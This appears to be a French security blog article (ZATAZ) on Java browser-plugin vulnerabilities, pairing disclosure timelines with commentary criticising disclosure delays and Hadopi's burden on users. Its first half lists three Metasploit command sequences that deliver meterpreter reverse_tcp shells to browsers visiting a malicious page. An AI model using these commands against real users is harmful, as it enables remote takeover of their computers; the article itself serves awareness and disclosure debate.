Vulnerability & PoC disclosed by Tavis Ormandy the 2010-04-09
Same vulnerability disclosed by Rubén the 2010-04-09
Metasploit PoC provided by jduck the 2010-04-14
This module exploits a flaw in the Web Start plugin component of Sun Java Web Start. The arguments passed to Java Web Start are not properly validated. By passing the lesser known -J option, an attacker can pass arbitrary options directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed by Ruben Santamarta, an attacker can execute arbitrary code in the context of an unsuspecting browser user. This vulnerability was originally discovered independently by both Ruben Santamarta and Tavis Ormandy. Tavis reported that all versions since version 6 Update 10 “are believed to be affected by this vulnerability.” In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
Commands :
use exploit/windows/browser/java_ws_arginject_altjvm
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit
Vulnerability reported by Sami Koivu the 2008-08-01
Vulnerability fixed by Sun the 2008-12-03
PoC provided the 2009-05-19
Metasploit PoC provided by hdm the 2009-06-16
JRE & JDK version 6 prior to update 11
JRE & JDK version 5 prior to update 16
JRE & JDK version 1.4.2_18 and prior
Tested on Windows XP SP3 with :
Java 6 Standard Edition Update 10
Description :
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
Commands :
use exploit/multi/browser/java_calendar_deserialize
set SRVHOST 192.168.178.21
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit
Vulnerability reported by Matthias Kaiser between ZDI to Oracle the 2010-04-05
Coordinated public release of advisory the 2010-10-12
Metasploit PoC provided by egypt the 2010-11-19
This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By injecting a parameter into a javaws call within the BasicServiceImpl class the default java sandbox policy file can be therefore overwritten. The vulnerability affects version 6 prior to update 22. NOTE: Exploiting this vulnerability causes several sinister-looking popup windows saying that Java is “Downloading application.”
Commands :
use exploit/windows/browser/java_basicservice_impl
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit
Chers lecteurs ZATAZ, vous être près de 84% d’entre-vous ayant le support Java d’activé sur vos navigateurs Internet, l’avez-vous mis à jour dernièrement ? Si non, vous risquez de voir vos ordinateurs se transformer en passerelles à pirates informatique. Si oui, vous pensez être protégé, mais que neni, une nouvelle vulnérabilité, un nouveau “0day” est sûrement déjà en cours d’exploitation.
Chers lecteurs ZATAZ résidants en France, savez-vous que depuis l’activation de Hadopi, vous êtes tenus à une obligation de démontrer comme quoi vous avez mis tous les moyens en oeuvre pour vous protéger au cas ou vous sauriez soupçonné d’enfreinte au code de la propriété intellectuelle. Donc de façon claire, vous devez connaître vos faiblesses, vos vulnérabilité et démontrer que vous avez mis les moyens en oeuvre pour y remédier.
Ci-dessous une petite anecdote qui démontre l’absurdité de mettre la responsabilité de sécurisation sur l’internaute lambda qui ne connait rien à l’informatique, qui ne connait pas grand chose d’Internet, sauf Facebook (parce que les copains y sont), Twitter et Youtube. Qui démontre l’absurdité de la relation “déontologique” entre les professionnels de la sécurité informatique et les fournisseurs finaux. Qui démontre le peu de prise en compte des risques légaux que vous encourez en tant qu’internaute lambda par les fournisseurs finaux.
Le 20 Juillet 2010, ZDI (Zero Day Initiative) a rapporté une vulnérabilité dans Java Runtime Environment (JRE) à l’éditeur Oracle. ZDI joue, la plupart du temps, l’intermédiaire entre le chercheur en sécurité informatique qui a découvert la vulnérabilité et le fournisseur final de l’application vulnérable. Ce rôle d’intermédiaire est important pour la suite de cet article.
Cette vulnérabilité n’était bien sûr pas dévoilée au public, afin de laisser le temps au fournisseur de régler la situation (principe déontologique). Le 12 Octobre, près de trois mois après cette notification, une mise à jour est fournie par Oracle (SUN Java 6 Update 22) et la vulnérabilité est dévoilée au grand public (enfin dans un langage de spécialistes…) sous l’acronyme CVE-2010-3552.
Ce que l’on peut apprendre du bulletin de notification “ZDI-10-206” est que ZDI, et Oracle, créditent “Stephen Fewer” de l’entreprise “Harmony Security” pour la découverte. Cette vulnérabilité pourrait permettre à des internautes malveillants d’exécuter du code arbitraire sur les ordinateurs où les versions vulnérables de Oracle JRE sont installées. La seule interaction requise, pour l’exploitation de la vulnérabilité, est que l’internaute cible surfe sur un site web malveillant. Le nom de la DLL (JP2IEXP.dll), ainsi que quelques détails sur les parties de codes affectés sont fournis, mais sans plus de détails.
Ce qui est intéressant dans cette histoire, et ce qui s’est déjà vu plusieurs fois, c’est qu’un autre chercheur en sécurité informatique, Berend-Jan Wever, aurait lui aussi découvert la même vulnérabilité, mais le 31 Août 2010, alors que la vulnérabilité n’était pas encore dévoilée publiquement. Ce chercheur en sécurité informatique fournissait beaucoup plus de détails, comme la version vulnérable (SUN Java 6 Update 21, qui était alors la dernière version disponible), ainsi qu’un PoC (Proof of Concept) permettant de reproduire la vulnérabilité.
Il aura fallu peu de temps après la révélation au grand public de cette vulnérabilité, pour que l’équipe Rapid7 industrialise cette vulnérabilité, le 25 Octobre, en l’intégrant à sa suite gratuite de “pen-test” Metasploit. L’exploitation de cette vulnérabilité en devenait alors d’autant plus simple et permettait à peu près à n’importe quel internaute de prendre la main sur l’ordinateur de son voisin. Ci-dessous une petite vidéo réalisée maison pour vous démontrer la facilité d’exploitation de cette vulnérabilité.
Donc, la vulnérabilité a été dévoilée au fournisseur le 20 Juillet par un premier chercheur, un deuxième chercheur découvre la même vulnérabilité le 30 Août, et le fournisseur propose une mise à jour pour combler la vulnérabilité le 12 Octobre, soit près de trois mois après sa “première” découverte ! Il est classique dans le monde de la recherche en sécurité informatique de laisser le temps au fournisseur de corriger la vulnérabilité (principe déontologique), mais pendant ce temps là les internautes comme vous et moi, pouvons être les victimes de ce qui est appelée communément un “0day” (d’ailleurs qui n’en est plus un, car connu par le fournisseur) exploité par le crime organisé sévissant sur Internet.
Deux chercheurs qui trouvent en si peu de temps d’intervalle la même vulnérabilité, ne pensez-vous pas que d’autres “chercheurs”, moins respectueux des bonnes pratiques du “monde professionnel” de la sécurité informatique, aient aussi pu trouver cette même vulnérabilité ?
La pression légale augmentant au jour le jour contre les internautes, pour que ceux-ci démontrent qu’ils se protègent, en vain, fait que le système “déontologique” actuel est voué à mourir. Une nouvelle relation entre les chercheurs en sécurité informatique et les fournisseurs doit s’établir, une nouvelle relation entre le fournisseur et le consommateur final doit naître.